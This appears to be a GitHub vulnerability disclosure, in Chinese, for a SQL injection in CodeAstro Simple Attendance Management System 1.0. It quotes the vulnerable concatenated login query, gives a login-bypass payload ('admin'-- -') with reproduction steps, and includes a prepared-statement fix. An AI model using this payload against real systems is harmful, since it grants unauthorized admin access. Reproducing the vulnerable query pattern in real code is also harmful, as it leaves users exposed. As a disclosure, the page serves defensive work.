menevarad007/CVE-2026-37749

GitHub: menevarad007/CVE-2026-37749

一个演示CVE-2026-37749的PoC工具,展示了如何通过SQL注入绕过身份验证并获取管理员权限。

Stars: 0 | Forks: 0

# CVE-2026-37749 # CVE-2026-37749 — CodeAstro Simple Attendance Management System 1.0 - SQL 注入 ## 详细信息 | 字段 | 信息 | |---|---| | **CVE ID** | CVE-2026-37749 | | **类型** | SQL 注入 → 身份验证绕过 | | **严重性** | 危急(CVSSv3: 9.8) | | **厂商** | CodeAstro | | **产品** | Simple Attendance Management System | | **版本** | 1.0 | | **发现者** | Varad AP Mene | | **日期** | 2026-04-16 | | **CWE** | CWE-89 | ## 漏洞文件 index.php — 登录表单 ## 漏洞代码 ``` $query = "SELECT * FROM admin WHERE username='$username' AND password='$password'"; $result = mysql_query($query); ``` 直接使用原始的 $_POST 数据 — 未进行转义,也未使用预处理语句。 ## 复现步骤 1. 访问:http://target/attendance/index.php 2. 输入用户名:`admin'-- -` 3. 输入密码:`anything` 4. 选择类型:admin 5. 点击登录 → 管理员面板访问成功! ## 影响 - 无需有效凭证即可绕过身份验证 - 完全访问所有考勤记录的管理权限 - 无需身份验证,任何人均可利用 ## 修复建议 ``` $stmt = $mysqli->prepare("SELECT * FROM admin WHERE username=? AND password=?"); $stmt->bind_param("ss", $username, $password); $stmt->execute(); ``` ## 参考链接 https://codeastro.com/simple-attendance-management-system-in-php-with-source-code/ ## 发现者 Varad AP Mene — menevarad007@gmail.com
标签:ATT&CK Tactic 初始访问, ATT&CK Tactic 横向移动, CISA项目, CodeAstro, CRITICAL, CVE-2026-37749, CWE-89, index.php, OpenVAS, PHP, Web安全, 多线程, 安全测试, 攻击性安全, 数据库注入, 未过滤输入, 漏洞, 登录绕过, 考勤管理系统, 蓝队分析, 认证绕过, 身份验证缺陷